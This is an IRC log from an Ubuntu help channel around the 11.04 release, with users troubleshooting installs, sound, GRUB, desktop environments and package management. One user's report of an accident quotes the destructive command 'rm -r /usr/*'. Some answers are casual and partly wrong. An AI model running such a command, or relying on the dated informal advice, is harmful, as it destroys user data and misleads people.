[20:04] <botcity> AceKing, same here I am trying on this pc but it freezes also, I think its because its not got ubuntu tweak installed
[20:04] <igi69> @mamad have you tried the add/remove software application?
[20:04] <mang0> Hey guys, I'm having trouble installing ubuntu. I used the 10.10 LiveCD, but it won't detect my two SATA harddrives inside of my tower...
[20:04] <mamad> i have tried the main server as well as some european ones
[20:05] <mang0> This might be a bios problem
[20:05] <mamad> you mean synaptic?
[20:05] <cannonball> Froq_: when you login (after you enter the username), select "Ubuntu Classic" for the desktop, it will load Gnome instead.
[20:05] <ablaze> i have already tried but not very helpful ::: just kindly tell me that what can i do with this screen :::
[20:05] <janisozaur> is it possible to find out what version of gcc compiled give nbinary?
[20:05] <igi69> @mamad synaptic, yes, but the easiest is the add/remove software
[20:05] <jiltdil> in synpatic package manager i marked residual configuration for complete removal but the apply button is showing freezed how to remove that and also fix this problem?any idea?
[20:05] <Marilyn_M> In TwinView, can I rotate only one monitor by 90 degrees?
[20:05] <ablaze> is there any information which can help me to resolve my problem???
[20:05] <mamad> i'll try that now
[20:06] <haseeb> HI
[20:06] <jacktheripper> I just installed gnome 3 on ubuntu natty by adding the official ppa and dist-upgrade + gnome-shell. gdm now doesn't list any users (just auto-login and other) and doesn't allow me to login. When I keep pressing return I can see 'Permission Denied' flickering.
[20:06] <ablaze> ok tell me ::: is there a channel where we help the beginners plz???
[20:06] <ActionParsnip> Ablaze: i don't know and i have low battery so i can't research. I'd be using the same internet you'd be using
[20:07] <Froq_> cannonball, I desire to remove Unity completely though.  is there a command I can complete?
[20:07] <rumpe1> jacktheripper, gnome3 is experimental, there are warnings all over the project page... i hope you have a backup.
[20:07] <jcapinc> I just installed 11.04, I have ATI Mobility Radeon X1300, which is in ubuntu wiki's list of supported cards, and jocky is not showing me proprietary drivers
[20:07] <mamad> where is add/remove? i have synaptic and software center
[20:07] <phoenixsampras> how to have 2 columns of icons on UNITY menu ?????!!@!@@!#
[20:07] <jcapinc> and I cannot compozite when I could in 10.10
[20:07] <jacktheripper> rumpe1, it's a new install so I didn't lose anything. But experimental ? doesn't 'released' mean it's tested and stable ?
[20:08] <haseeb> any body knows how to download youtube videos
[20:08] <ablaze> but what should i search ??? this is the problem ::: i have already searched google with "computer block on ubuntu screen" but i was not able to find the solution ::: so just help me plz and tell how to search :::
[20:08] <ablaze> and i will do that
[20:08] <BlouBlou> haseeb: Yes, install video downloadhelper
[20:08] <jorek> haseeb: do you use firefox?
[20:08] <BlouBlou> haseeb: it's a firefox script
[20:08] <haseeb> yes
[20:08] <cannonball> Froq_: Haven't tried, am sure there is a way, but I don't know it.  I'd guess to remove the unity package.
[20:08] <ActionParsnip> !gnome3
[20:08] <ubottu> Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[20:08] <rumpe1> jacktheripper, it's not officially released as a desktop for ubuntu.
[20:08] <jorek> haseeb: if so, do what BlouBlou said
[20:09] <igi69> @mamad I means software center of ubuntu
[20:09] <jacktheripper> I can see that..
[20:09] <Froq_> cannonball, thaz
[20:09] <haseeb> where can i find it?
[20:09] <rumpe1> jacktheripper, thats the reason, why you had to add a ppa to the sources
[20:09] <haseeb> jorek: ok
[20:09] <ActionParsnip> jacktheripper: try in #gnome
[20:09] <jorek> haseeb: google it
[20:09] <haseeb> jorek: ok
[20:10] <jiltdil> in synpatic package manager i marked residual configuration for complete removal but the apply button is showing freezed how to remove that and also fix this problem?any idea?
[20:10] <jacktheripper> ActionParsnip, yeah I asked there already
[20:10] <l403> Hi. I'd like to listen to Pink Floyd with my new headphones but I have the ubuntu sounds piercing my eardrum every time I click a button. I am using fluxbox and it doesnt seem to respect the gnome settings where the sound theme is disabled. What is responsible for the sounds and how can I kill them?
[20:10] <ActionParsnip> haseeb: insall youtube-dl   and you can do it in terminal
[20:11] <botcity> AceKing, just type rm ~/.local/share/zeitgeist/activity.sqlite that removed it for me
[20:11] <AceKing> botcity, OK
[20:11] <mamad> ubuntu sofware center says: failed to download package files and under that Failed to fetch http://ubuntu.qualitynet.net/ubuntu/pool/main/p/perl/perl-modules_5.10.1-17ubuntu4.1_all.deb Hash Sum mismatch
[20:11] <coz_> l403,  open a terminal type   alsamixer ,, see if you can adjust the sound there
[20:11] <ablaze> is there someone else who can help plz????
[20:11] <ActionParsnip> l403: could uninstall the ubuntu-sounds package
[20:11] <zus> what is the CLI for updating  grub?
[20:12] <botcity> AceKing, did that work ?
[20:12] <FoolsRun> Can anyone tell me how to run an application (actually a Java .jar file) on my machine's :0 display from SSH?
[20:12] <_pg_> zus, sudo update-grub
[20:12] <_pg_> i think
[20:12] <ActionParsnip> Zus: sudo update-grub
[20:12] <AceKing> It ran the command and came back to the prompt
[20:12] <smw> FoolsRun, export DISPLAY=':0'
[20:12] <zus> _pg_,  ActionParsnip  thank you
[20:12] <AceKing> botcity, It ran the command and came back to the prompt
[20:13] <iceroot> FoolsRun: ssh -X host java -jar file.jar
[20:13] <botcity> AceKing, yaeh but is your history there?
[20:13] <FoolsRun> smw: export DISPLAY=':0' COMMAND HERE ?
[20:13] <AceKing> botcity, yes
[20:13] <smw> FoolsRun, yes, it is a command
[20:13] <ablaze> anyways thanx :::
[20:13] <FoolsRun> smw: I mean do I use the export command on a separate line, or as part of the java -jar line?\
[20:13] <botcity> AceKing,  try zeitgeist-daemon --quit ?
[20:13] <amiuhle> I executed a make clean as sudo, which ran "rm -r /usr/*". As soon as I realized this, I cancelled, but at least /usr/bin is already gone. After some research on Google, my best solution is to boot the Ubuntu CD, copy the /usr/bin folder from there to my hdd and then executing "sudo apt-get install --fix-broken". Does anyone have a better idea?
[20:14] <smw> FoolsRun, different line
[20:14] <usr13> mamad: http://ubuntuforums.org/showthread.php?t=1698386
[20:14] <iggyology> ActionParsnip, how do I enable the keyboard command Ctrl+Alt+Backspace to show the log off option?
[20:14] <smw> FoolsRun, or export xyz; java -jar x.jar
[20:14] <ActionParsnip> iceroot: add -C too (enables compression)
[20:15] <FoolsRun> smw: I get "Can't connect to X11 window server using ':0' as the value of the DISPLAY variable."
[20:15] <ActionParsnip> iggyology: prefs -> keyboard settings -> options
[20:15] <smw> FoolsRun, are you the same user?
[20:15] <ActionParsnip> iggyology: not sure if that's 100%
[20:15] <FoolsRun> smw: the same user as who?
[20:15] <_pg_> anyone know of a good alac decoder
[20:15] <AceKing> botcity, I ran that last command. Do I need to re run the first command you gave me?
[20:15] <smw> FoolsRun, the same user as the person who is logged in
[20:16] <ActionParsnip> iggyology: could you not find a guide for it online?
[20:16] <FoolsRun> smw: I'm not, but I disabled "nolisten tcp" for X
[20:16] <iggyology> ActionParsnips, I found it in "Keyboard Shortcuts"
[20:16] <igi69> @mamad I think the solution of ust13 can help
[20:16] <coz_> iggyology,  the command would be    gnome-session-save --kill
[20:16] <iggyology> it allows you press the keys you wish to use to modify the shortcut also, very cool
[20:16] <botcity> AceKing,   no  ..   but did it remove the history ?   for some reason that worked for me ?
[20:16] <smw> FoolsRun, if you are not the same user, I don't think it works. I know very little about x
[20:17] <AceKing> botcity, No, still there
[20:17] <FoolsRun> smw: I'll try as the same user
[20:17] <kaiser> just install ubuntu 11.04. all seems fine, but no sound. soundcard detected and installed fine. just no sound
[20:17] <smw> FoolsRun, in the past without doing anything I have run stuff by setting DISPLAY as the same user who was logged in
[20:17] <ActionParsnip> !sound
[20:17] <ubottu> If you're having problems with sound, click the Volume applet, then Sound Preferences, and check your Volume, Hardware, Input, and Output settings.  If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/DmixPlugin - For playing audio files,  see !players and !mp3.
[20:17] <l403> ActionParsnip, I guess I have to log out and log back in to actually get rid of the sounds huh?
[20:17] <l403> or restart fluxbox? 1 sec
[20:17] <mamad> usr13: the thread just suggests changing the mirror, but i have done that before and doesn't work
[20:18] <iggyology> ActionParsnip, yes, that was the option I was looking for
[20:18] <ActionParsnip> L403: not sure dude. Makes sense
[20:18] <ablaze> hi i need some help about ubuntu ::: i m really a newbie ::: and don't know a lot about ubuntu ::: just trying to learn it ::: can someone help me please???
[20:18] <coz_> iggyology,  also ctrl+alt+F1 will kill the applications including gnome and nautilus properly,, ctrl+backspace will not
[20:18] <botcity> AceKing,   hmm have you updated recently ?
[20:18] <coz_> rather ctrl+alt+backspace
[20:18] <zakwilson> Skype isn't appearing in my notification area in 11.04 using classic Gnome. I tried the whitelist fix, even though that appears to be Unity-specific. It did not help.
[20:18] <jorek> ablaze: what's your problem?
[20:18] <AceKing> botcity, This morning I had some updates
[20:18] <coz_> iggyology,  so if you dot ctrl+alt+F1  log in then     sudo restart gdm
[20:19] <ActionParsnip> iggyology: i just searched for: natty ctrl alt backspace and the 2nd link was great
[20:19] <haseeb> i have installed clive
[20:19] <haseeb> but not working
[20:19] <FoolsRun> smw: the same user can't connect to :0 either
[20:19] <smw> FoolsRun, I don't know the answer then.
[20:20] <AceKing> botcity, I just realized something. Check this out.. http://paste.ubuntu.com/603433/
[20:20] <ActionParsnip> !details| haseeb
[20:20] <ubottu> haseeb: Please give us full details. For example: "I have a problem with ..., I'm running Ubuntu version .... When I try to do ..., I get the following output: ..., but I expected it to do ..."
[20:20] <jorek> is ubottu a bot?
[20:20] <haseeb> i am using ubntu lts 10.4
[20:20] <Pici> !bot | jorek
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[20:20] <ezl> i have a bunch of files with no extension and i want to set them to all have the same extension: whats the best way?
[20:20] <epart> cant ping yahoo.com
[20:20] <jorek> Pici: thanks
[20:20] <l403> ActionParsnip, the ubuntu-sounds package is gone, I logged out and back in but the sound theme is still there
[20:20] <epart> in my ubuntu server
[20:21] <ablaze> jorek: I have winxp and ubuntu (via wubi) installed on my computer ::: i tried to upgrade from 10.04 to 10.10 and ubuntu stopped to restart after upgrade ::: then i searched google for the solution and i used the liveUSB to replace wubldr file ::: and GRUB menu appears now but after that there is only a black screen with Ubuntu written in middle and dots moving beneath this ::: and computer is stuck on it ::: what should i do plz?
[20:21] <smw> FoolsRun, It works when I try to run firefox
[20:21] <epart> cant ping yahoo.com in my ubuntu server
[20:21] <rumpe1> ezl, use "rename"
[20:21] <botcity> AceKing,  hmm try sudo?
[20:21] <epart> huhu
[20:21] <AceKing> botcity, OK
[20:21] <jorek> okay
[20:21] <haseeb> error: no match: `(?-xism:&video_id=(.*?)&)'
[20:21] <BlouBlou> epart: many sites doesn't allow pings
[20:21] <jorek> I don't know how to update on wubi
[20:21] <BlouBlou> s/doesn't/don't
[20:22] <AceKing> botcity, Same thing using sudo
[20:22] <funkymoneky> Can anyone tell me how to prevent mounted disks from opening a nautilus window? (11.4)
[20:22] <rumpe1> ezl, you know that ubuntu itself doesn't use extensions?
[20:22] <jorek> ablaze: but the "blackscreen" is just the loader for ubuntu. as long as you didn't halted the computer while updating everything should work
[20:22] <ablaze> but now i m blocked on ubuntu screen ::: is there something to resolve this problem plz?
[20:22] <Jordan_U> botcity: AceKing: sudo is not the solution to every problem and should not be used unless you're sure the command you want to run should be run as root.
[20:23] <ablaze> jorek: what should now I do to sort out the problem plz?
[20:23] <botcity> AceKing, sorry  cant remove it because its not there  lol !
[20:23] <AceKing> Jordan_U, I was sure of the command, we just wanted to try to see if it made a difference
[20:23] <ezl> rumpe1: thats where i was heading, but can't quite get it
[20:23] <AceKing> Jordan_U, Thank you for the info
[20:23] <ezl> $ rename 's/(.*)/$1/'
[20:23] <ezl> oh bugger
[20:23] <Jordan_U> AceKing: Using sudo when you're not sure it's needed is a bad habbit to get into.
[20:24] <Jordan_U> AceKing: You're welcom.
[20:24] <mr_orange> I am trying to install ubuntu along side Windows 7 on my desktop and after I install ubuntu and I restart my computer it goes into grub without a problem but when I try to load ubuntu it splashes the load screen then goes black and just sits there. I am using 11.04, can anyone tell me what my issue might be?
[20:24] <ezl> thanks
[20:24] <hwilde> how to restore middle mouse paste function in 11.04 ?
[20:24] <ablaze> jorek: sorry, it's a purple screen with ubuntu written in it and dots are moving (becoming red and white) :::
[20:24] <rumpe1> ezl, maybe this helps you in the future: http://www.commandlinefu.com/commands/matching/rename/cmVuYW1l/sort-by-votes
[20:24] <jorek> ablaze, how are you working right now?
[20:24] <l403> mr_orange, check the logs in /var/log/
[20:24] <ablaze> jorek: i m on another computer with vista :::
[20:25] <l3> Hi All: Well my ubuntu update has not been going so smooth, long story short ive accidentally sudo apt-get autoremoved ALL of my kernal images, which autoremoved a bunch of useful packaged before I could kill the operation.  Ive cleanup up dpkg and reinstalled the latest kernel image, but I dont know which packages are still missing.  is there any way to reinstall "important" packages before I reboot?
[20:25] <hwilde> how to restore middle mouse paste function in 11.04 ?
[20:25] <AceKing> Jordan_U, I understand. There is a problem that is driving me nuts. I'm trying to disable the Recent Documents
[20:25] <jorek> ablaze: okay. the purple screen is nothing but the loader for ubuntu
[20:25] <tjiggi_fo> ablaze, there's actually a warning on the wubi page about a problem upgrading from 10.04 to 10.10: https://wiki.ubuntu.com/WubiGuide
[20:25] <kaiser> Fresh Ubuntu 11.04 install. No sound. run alsamixer and made sure nothing is muted.device is enabled, volume is on but NO AUDIO at all. card 0: ICH6 [Intel ICH6], device 4: Intel ICH - IEC958 [Intel ICH6 - IEC958]
[20:25] <mr_orange> 1403, and what would I be looking for in there and how can i get to it if ubuntu 11.04 doesnt load?
[20:25] <kaiser>   Subdevices: 1/1
[20:25] <Jordan_U> AceKing: It seems that the file has been successfully unlinked. If you still see history from zeitgeist then try restarting zeitgeist.
[20:26] <smw> l3, try sudo apt-get install ubuntu-desktop
[20:26] <l403> l3 install some metapackage like ubuntu-desktop or something similar
[20:26] <rumpe1> l3, autoremove doesn't deinstall anything
[20:26] <cannonball> l3: Look in /var/log/apt/history.log to see what packages got removed.
[20:26] <l3> rumpe1: oh?
[20:26] <AceKing> Jordan_U, What is the command to restart zeitgeist?
[20:26] <rumpe1> l3, erm... wait...
[20:26] <ablaze> tjiggi_fo: i have fixed the grub problem ::: now it's not the grub problem but after that it stucks on this screen
[20:26] <Jordan_U> AceKing: In *NIX files aren't actually deleted from the filesystem until there are no applications with an open file handle.
[20:26] <smw> l3, you removed all your kernels and it started removing everything else, right?
[20:26] <tjiggi_fo> ablaze, best is to uninstall wubi from windows (instructions in the link above) and reinstall 10.10
[20:26] <smw> l3, the ubuntu-desktop package should have everything you need.
[20:27] <Bum-Gum> I used 10.4 and everything was good but now i have natty narwhale and my computer isn't able to connect with my archos 2.4 vision
[20:27] <tjiggi_fo> ablaze, understood, but it breaks more than just grub
[20:27] <l3> smw: yeah
[20:27] <jorek> tjiggi: wouldn't it be better to install 11.04 right away?
[20:27] <l3> smw: seems everything ubuntu-desktop depends on is still available
[20:27] <rumpe1> l3, man apt-get : "autoremove is used to remove packages that were automatically  installed to satisfy dependencies for some package and that are no more needed."
[20:27] <hwilde> middle mouse paste doesn't work in 11.04 anymore??
[20:27] <hwilde> how to restore middle mouse paste function in 11.04 ?
[20:27] <tjiggi_fo> jorek, that's his choice not mine
[20:27] <l3> smw: I may still have missing packages but at least I think I can safely boot
[20:27] <FoolsRun> Okay, new question: when shell scripting, what is the syntax for inline-su?  Is it just su username command?
[20:27] <jorek> tjiggi, okay
[20:28] <smw> l3, are you sure?
[20:28] <tjiggi_fo> !tab | jorek
[20:28] <ubottu> jorek: You can use your <tab> key for autocompletion of nicknames in IRC, as well as for completion of filenames and programs on the command line.
[20:28] <l3> rumpe1: right, but when I removed ALL my kernel images, a bunch of important packages got uninstalled (libraries etc).
[20:28] <haseeb> any body knows how to download youtube videos.
[20:28] <ablaze> tjiggi_fo: i just read the megathread link given in your site ::: and i used their method to restore grub menu ::: but now it's not working ::: after that ::: when i use a generic, after that it stucks on purple screen ::: but recovery mode is working
[20:28] <maco> FoolsRun: -c i think
[20:28] <LjL> !info youtube-dl | haseeb
[20:28] <phibxr> haseeb, try apt-get install minitube
[20:28] <ubottu> haseeb: youtube-dl (source: youtube-dl): download videos from youtube. In component universe, is extra. Version 2011.01.30-2 (natty), package size 30 kB, installed size 156 kB
[20:28] <l3> smw: I guess reinstalling the latest kernel image also reinstalled all the necessary packages
[20:28] <Bum-Gum> I used 10.4 and everything was good but now i have natty narwhale and my computer isn't able to connect with my archos 2.4 vision
[20:28] <smw> l3, do sudo apt-get remove ubuntu-desktop. Then, do sudo aptitude install ubuntu-desktop
[20:28] <rumpe1> l3, uh... why would you do that? :)
[20:28] <[snake]> I have ubuntu 11.04 64 bit, and firstly, when I boot up my monitor (not the computer) says optimum resolution exceeded (1400 x 900 @ 60). Secondly when I have more than a few windows open, they start to go completely blank white, and I sometimes have to restart the application to get it to show its content again.
[20:28] <Jordan_U> AceKing: "zeitgeist-daemon --replace &" I believe.
[20:29] <mr_orange> l403, and what would I be looking for in there and how can i get to it if ubuntu 11.04 doesnt load?
[20:29] <[snake]> *when I boot up, my monitor...
[20:29] <AceKing> Jordan_U, Thank you
[20:29] <kalib> hi people. I was trying to run: # aptitude install flashplugin-nonfree..
[20:29] <kalib> but got an error exit status 139
[20:29] <Jordan_U> AceKing: You're welcome.
[20:29] <kalib> how can I fix it?
[20:29] <Bum-Gum> I used 10.4 and everything was good but now i have natty narwhale and my computer isn't able to connect with my archos 2.4 vision
[20:29] <kalib> got the same error when trying # aptitude safe-upgrade
[20:30] <smw> kalib, do sudo apt-get update and pastebin the results
[20:30] <MnCC> i have an application with no icon .. how can i fix this ?
[20:30] <smw> !pastebin > kalib
[20:30] <ubottu> kalib, please see my private message
[20:30] <MnCC> it looks horrible in 11.04
[20:30] <abogatyrev> hi guys
[20:30] <l403> mr_orange, warning lines should start with WW: and error lines with EE: I think
[20:30] <l3> rumpe1: sudo apt-get autoremove linux-image-2.6.28* somehow also matched 2.6.35 and 38 etc.. apt regex matching is .. different than i expect it to be.  It warned me, but i hit yes without thinking
[20:30] <Bum-Gum> my archos isn't recognized by natty narwhale please help
[20:30] <abogatyrev> please help with sleep mode
[20:30] <[snake]> can you just downgrade back to 10.10?
[20:30] <coz_> [snake],   make sure the monitor is plugged in firmly and also make sure the power plug to the video card, if any,  is plugged in,, these two things will cause that monitor to report that
[20:31] <smw> [snake], downgrading is not supported
[20:31] <ablaze> jorek: can u help in this regard pls?
[20:31] <AceKing> Jordan_U, I am going to log out and log back in. I will sign back in to let you know
[20:31] <tjiggi_fo> ablaze, I understand where it gets stuck, but I have no idea how to solve that. You might look in your log file viewer at messages and boot to see if there are any clues
[20:31] <coz_> [snake],  no guranatee those are the issues  though
[20:31] <mr_orange> l403, how can I see them if Ubuntu does not load?
[20:31] <[snake]> coz_, it is... it fixes right after my boot splash
[20:31] <Bum-Gum> too much trouble
[20:31] <coz_> [snake],  ooo that's odd
[20:31] <phed> hi guys, firefox 4.0.1, flashplugin-nonfree and using flashaid leaves with a black screen when full screen viewing youtube videos, could you point me in the direction of a fix please?
[20:31] <phed> using ubuntu 11.04 in classic mode with effects
[20:32] <ablaze> tjiggi_fo: i tried to remove "quiet splash" ::: should i try this and give u some information which could be helpful???
[20:32] <kaiser> Hi Guys, Have a Fresh install of 10.10 and no sound at all. device details:card 0: ICH6 [Intel ICH6], device 4: Intel ICH - IEC958 [Intel ICH6 - IEC958]
[20:32] <kaiser>   Subdevices: 1/1
[20:32] <kaiser> . unmuted everything in alsamixer. volume enabled but no sound. what can i do?
[20:32] <[snake]> smw, is it possible at all to downgrade? how difficult is it?
[20:32] <Tropic> hi, somebody can help me? i have one problem whit hardware wireless usb (sorry my bad english)
[20:32] <tjiggi_fo> ablaze, the problem with using wubi is that not many people here use it, so not many know how to fix it :)
[20:32] <smw> [snake], it is actually very easy... if you are doing a reinstall. Otherwise, I would call it impossible.
[20:32] <arkani> where should I ask Xubuntu related question?
[20:33] <jorek> Tropic, which language?
[20:33] <ablaze> tjiggi_fo: it's true ::: well ::: where i can see log viewer???
[20:33] <IdleOne> arkani: #xubuntu
[20:33] <Tropic> italian :D
[20:33] <smw> [snake], only attempt if you think it would be fun to learn everything about the internals of ubuntu and want to try the impossible ;-)
[20:33] <IdleOne> !it | Tropic
[20:33] <ubottu> Tropic: Vai su #ubuntu-it se vuoi parlare in italiano, in questo canale usiamo solo l'inglese. Grazie! (per entrare, scrivi « /join #ubuntu-it » senza virgolette)
[20:33] <tjiggi_fo> ablaze, System, Administration
[20:33] <arkani> thanks... but that #xubuntu is quite dead....
[20:34] <Tropic> i know thanks
[20:34] <[snake]> smw, oo! I have an idea... I get an Ubuntu 10.10 installer and use the user account linker thing... and then remove the 11.04?
[20:34] <IdleOne> Tropic: ok :)
[20:34] <ablaze> tjiggi_fo: but i m not able to start ubuntu :( :::
[20:34] <[snake]> smw, good idea?
[20:34] <Tropic> nobody is on  :P
[20:34] <kalib> smw, ubottu http://pastebin.com/DdUhUx7K
[20:34] <Tropic> "for help"
[20:34] <amiuhle> I executed "make clean" as sudo, which then did "rm -r /usr/*". I cancelled as soon as I realized this, but /usr/bin was already gone. I did some research and right now my best solution is to copy /usr/bin from the Ubuntu CD, and then repair my packages. Does anyone have a better idea?
[20:34] <smw> [snake], I don't know of any user account linker thing...
[20:34] <tjiggi_fo> ablaze, do you have a live CD?
[20:34] <l403> mr_orange, try if you can boot into single user mode - terminal with root privilege http://www.cyberciti.biz/faq/grub-boot-into-single-user-mode/
[20:34] <Archie18_> Hi all. I'm stuck here with a "ImportError: cannot import name Pool" when trying to "import multiprocessing" with Python2.6 on Ubuntu 10.10. Any hints?
[20:34] <hwilde> how to restore middle mouse paste function in 11.04 ?
[20:35] <ablaze> tjiggi_fo: yes i have a live USB
[20:35] <[snake]> smw, one time I was dualbooting Ubuntu and Windows Vista... and it asked me if I wanted to copy all of the files from vista to ubuntu.
[20:35] <mr_orange> l403, ok thank you
[20:35] <coz_> hwilde,   that should be enabled by default... when did this stop working?
[20:35] <MnCC> anyone know where the shortcuts on the menubar are stored ?
[20:35] <smw> [snake], yeah. I have a better idea.
[20:35] <hwilde> coz_, in 11.04.
[20:35] <kalib> smw, any idea?
[20:35] <kalib> http://pastebin.com/DdUhUx7K
[20:36] <Brandano> Good evening, I need a little help with the MOTD on an Ubuntu Server 10.04 machine
[20:36] <mikael> do you speak french?
[20:36] <smw> [snake], backup /home, reinstall, restore /home
[20:36] <smw> kalib, I do not speak your language ;-)
[20:36] <meraqlix> Need Help with Ubuntu 11.04!
[20:36] <Brandano> for some reason I get two sets of landscape-info output, the second being an old stale copy
[20:36] <meraqlix> My desktor has vanished
[20:36] <IdleOne> mikael: #ubuntu-fr pour de l'aide en francais
[20:36] <meraqlix> desdesktop
[20:36] <[snake]> mikael, I am learning french in school :P
[20:36] <meraqlix> desktop
[20:36] <tjiggi_fo> ablaze, boot up into a live session and look for the wubi install in Program Files (or wherever) and the logs will be in /var/log/messages and /var/log/boot. use the date and time to try find when your first problem boot happened
[20:37] <coz_> hwilde,  in all honesty  I only use classic gnome and it works there,, I will have to log onto Unity to test it  hold on
[20:37] <meraqlix> i can se my desktop picture but Unify is missing!
[20:37] <meraqlix> After an update
[20:37] <meraqlix> ???
[20:37] <AceKing> Jordan_U, I restarted my PC and it's still showing Recent Documents
[20:37] <smw> [snake], I still have not updated to 11.04 ;-)
[20:37] <meraqlix> ANybody?
[20:37] <[snake]> smw, that's good. don't.
[20:37] <jrib> Archie18_: this is likely a #python question as « from multiprocessing import Pool » works fine here on 10.10.  Does that work for you?
[20:38] <ablaze> tjiggi_fo: ok ::: thanx ::: i m giving this a try ::: and i will tell u the results, if i found ::: thanx again
[20:38] <superr1> ciao
[20:38] <tjiggi_fo> ablaze, :)
[20:38] <Brandano> meraqlix: first thing to check is for (EE) lines in /var/log/Xorg.0.log
[20:38] <smw> [snake], That is good to know. My opinion is that ubuntu needs to choose between "just working" and being on the "bleeding-edge". That used to be the same thing ;-)
[20:38] <hwilde> coz_, pain, huh?
[20:38] <coz_> hwilde,   well on my Unity set up ,, middle click paste works fine
[20:39] <hwilde> coz_, interesting
[20:39] <coz_> hwilde,  is this a clean install or an upgade from 10.10 ??
[20:40] <coun> anybody using Full Disc Encryption on 11.04?
[20:40] <coz_> coun,  I am not ...sorry
[20:40] <Jordan_U> AceKing: Is it showing recent documents from before rming .local/share/zeitgeist/activity.sqlite ?
[20:41] <AceKing> Jordan_U, Yes
[20:41] <meraqlix> Brandano: How to access terminal? All my menues are missing
[20:41] <coun> @meraqlix, wat u mean menus missing?
[20:41] <l403> meraqlix, alt+F2 and run xterm
[20:42] <Brandano> meraqlix:  Ah, so you are only missing the UI? then xorg will be fine
[20:42] <MnCC> prob no unity support, gives a blank screen
[20:42] <arscariosus> anyone here who has installed ubuntu 11.04 on hp mini 210?
[20:42] <kwtm> [snake]: Do you want to consider downgrading to 10.04?  (Long-Term Support edition).
[20:42] <coun> uhh. I'm so sick of gnome 2x
[20:42] <[snake]> kwtm, prefferably 10.10, but that would also work.
[20:42] <meraqlix> Yep, the UI is missing after update to Ubuntu 11.01
[20:42] <PeterJCLaw> anyone (else) tried using libphp--simplepie under 11.04
[20:43] <MnCC> anyone know where the shortcuts on the menubar are stored ?
[20:43] <meraqlix> 11.04
[20:43] <Brandano> meraqlix: anyway, CTRL+ALT+F1 will give you a terminal window, CTRL+ALT+F7 will return you to the graphical environment
[20:43] <kwtm> [snake]: Maybe, but 10.10 is not supported for as long.  It's up to you.  I have only been using LTS editions (upgraded from 8.04 to 10.04).
[20:43] <jcapinc> how do I get X11 to use FGLRX and not ATI's free drivers?
[20:43] <coun> ctrl+alt=F1 is for debugging isn't it? use ctrl+alt+F2
[20:43] <botcity> hi guys is ubuntu tweak available from the repositories or an external site ?
[20:44] <MnCC> CLTR+ALT+T , gives a terminal window .. thats how i overcame my unity problems
[20:44] <coun> repos
[20:44] <[snake]> kwtm, eh, I just don't like the fact that my box is barely usable... yet it worked fine with 10.10
[20:44] <Brandano> meraqlix: you ought to be able to install gnome that way, and then select it from the login screen
[20:44] <kwtm> [snake]: If there is something that you need in 10.10 that's not in 10.04, then by all means.  In general I (and many others) do not feel the need to upgrade just because a new version has come out.
[20:44] <coun> ctrl+alt+T didn't work by default for me in 11.04. you have to add that shortcut.
[20:44] <hwilde> so nobody else has trouble with middle mouse paste?
[20:45] <kwtm> [snake]: I actually promote dual-booting into "newest" and "second-newest" versions, but if someone's computer is already set up not to dual-boot this, it's a bit of hassle to set it up.
[20:45] <MnCC> coun, is correct, you can also add a shortcut to gnome-terminal
[20:45] <coz_> Brandano,   one application/utility you may want to look into is easystroke,,, gesture recognition
[20:45] <coun> middle mouse paste working on my box
[20:45] <[snake]> kwtm, true... but I'm already passed 10.10... and into 11.04, I need to downgrade.
[20:45] <phed> hi guys, firefox 4.0.1, flashplugin-nonfree and using flashaid leaves with a black screen when full screen viewing youtube videos, could you point me in the direction of a fix please? using ubuntu 11.04 in classic mode with effects
[20:45] <kwtm> [snake]: But it is *really* robust, and you simply use Newest and then easily switch to Second-Newest if need be.
[20:45] <Brandano> coz_: for what exactly?
[20:45] <DarsVaeda> how do i uninstall gnome3 and reinstall unity or at least gnome2 on ubuntu 11.04?
[20:45] <koperino> hi there, after three days of getting "no new release found" no matter what I try can anybody help me?????
[20:45] <l403> !help
[20:45] <ubottu> Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[20:45] <coz_> Brandano,  it is by far ,, in my opinion ,, the top companion application for linux / compiz
[20:45] <kwtm> [snake]: Anyway, just something to think about.  Watch out for 11.10. :)
[20:45] <jcapinc> I should not have updated
[20:45] <jcapinc> another terrible release
[20:45] <[snake]> :) lol
[20:45] <kwtm> koperino: I bet you're using 10.04 and it's looking for the next LTS edition, 12.04, right?
[20:45] <coun> @phed, try the Beta version of Flash available through flash-aid. Although I have blank screen prob too sometimes and don't know a fix
[20:45] <IdleOne> koperino: what version are you running?
[20:46] <Brandano> coz_: ah, I don't use compiz. Or Unity, for that matter. Still running 10.10 on my client and 10.04 on a server
[20:46] <coz_> Brandano,   opening applications  closing etc,,,  Unity is a pain in my opinion for ease of use  ,, easystroke makes it far less  of a  learning curve
[20:46] <coz_> Braiam,  aj pl
[20:46] <coz_> ah ok
[20:46] <koperino> Maverick and want to go to Natty
[20:46] <Jordan_U> AceKing: All the guides I see suggest that "rm ~/.local/share/zeitgeist/activity.sqlite && zeitgeist-daemon --replace" should do it.
[20:46] <[snake]> Dang it! my sombrero! I got coffee on it! :(
[20:46] <jcapinc> you dont want to go to natty
[20:46] <Braiam> coz_: ?
[20:46] <jcapinc> wait for the next lts
[20:46] <IdleOne> koperino: sudo do-release-upgrade
[20:46] <IdleOne> koperino: what does that give you?
[20:47] <rhin0> ubuntu 10.04 (LTS) comes with 2.6.32 kernel -- I need to INSTALL 2.6.33 or higher of that OS to get 'trim' on an SSD -- is there any 10.04 ISO snapshot with later kernel?
[20:47] <MnCC> who wanted something for firefox ?
[20:47] <coun> lol snake
[20:47] <Brandano> coz_: I am waiting for a bit while all the users tell Canonical why they don't like Unity and someone forks to Gubuntu :)
[20:47] <l403> what is in charge of playing ubuntu sound themes? where can I disable the themes or kill whatever is playing them?
[20:47] <koperino> no new release found
[20:47] <AceKing> Jordan_U, I'm going to try it again.
[20:47] <rhin0> because I really don't want to move off 10.04 -- but I want it on an SSD (so I need a later kernel)
[20:47] <Snakkah> I'm using Ubuntu Lucid 10.04, and I want to install "pianobar" It's an application that runs Pandora radio from the command line. It appears that it's only available in the Maverick and Natty repositories though. Would it be safe to get it (and its dependencies) from a Maverick repository even though I'm running Lucid?
[20:47] <jcapinc> yea I dont get why ubuntu is ditching gnome3
[20:47] <xro> hi, i have a THE question,... why did ubuntu change gnome to ubiquity?
